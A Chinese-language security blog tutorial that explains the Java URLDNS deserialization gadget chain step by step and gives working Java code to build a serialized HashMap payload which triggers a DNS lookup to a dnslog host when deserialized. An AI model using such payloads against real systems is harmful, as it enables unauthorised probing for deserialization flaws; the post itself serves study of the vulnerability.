title: JAVA反序列化-URLDNS链date: 2022/3/14 20:46:25
categories: JAVA安全
tags: JAVA安全
关于URLDNS
URLDNS是java原生态的一条利用链条通常存在反序列化漏洞进行验证的,因为是原生态所以并不存在什么版本限制。
处理流程
首先跟进HashMap
发现readObject

跟进hash查看

发现hash接受对象作为参数,如果对象不为空 那么调用当前类的hashCode方法

这里看URL这个类里面存在hashCode方法

发现hashCode方法

hashCode默认值为-1

如果不等于-1返回hashCode
所以hashCode得等于-1才会往下执行
会调用handler中的hashCode方法
跟进查看

我们参数传递u跟进getHostAddress方法查看做了什么

然后调用getByName解析host
所以整条链的调用流程
hashmap->readObject->hash->URL.hashCode->getHostAddress->InetAddress.getByName
如何实现
因为我们序列化过程也会执行访问handler.hashCode,那么就会访问dnslog,反序列化过程也会访问dnslog,所以我们想办法不让其往下执行不让他执行getHostAddress

令hashCode不为-1。
所以我们可以使用反射来修改URL类中的一些参数值,来修改URL中的hashCode值。
反射的利用
利用反射来修改类中属性的值,
序列化
package dnsTest;import java.io.*;import java.lang.reflect.Field;import java.net.*;import java.util.*;public class dnsTest {public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();URL url = new URL("http://67v7g8.dnslog.cn");//反射调用URL类Class c = URL.class;//申请访问URL类中的hashCode赋值给fieldHashCodeField fieldHashCode = c.getDeclaredField("hashCode");//设置fieldHashCode为truefieldHashCode.setAccessible(true);//设置url类中的hashCode值为123fieldHashCode.set(url,123);hashmap.put(url,22);//设置url类中的hashCode值为-1fieldHashCode.set(url,-1);Serialize(hashmap);}public static void Serialize(Object obj) throws Exception{ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}}
反序列化
package dnsTest;import java.io.*;public class unserialize {public static void main(String[] args) throws Exception {unserialize();}public static void unserialize() throws Exception{ObjectInputStream InputStream = new ObjectInputStream(new FileInputStream("ser.txt"));Object obj = InputStream.readObject();System.out.println(obj);}}
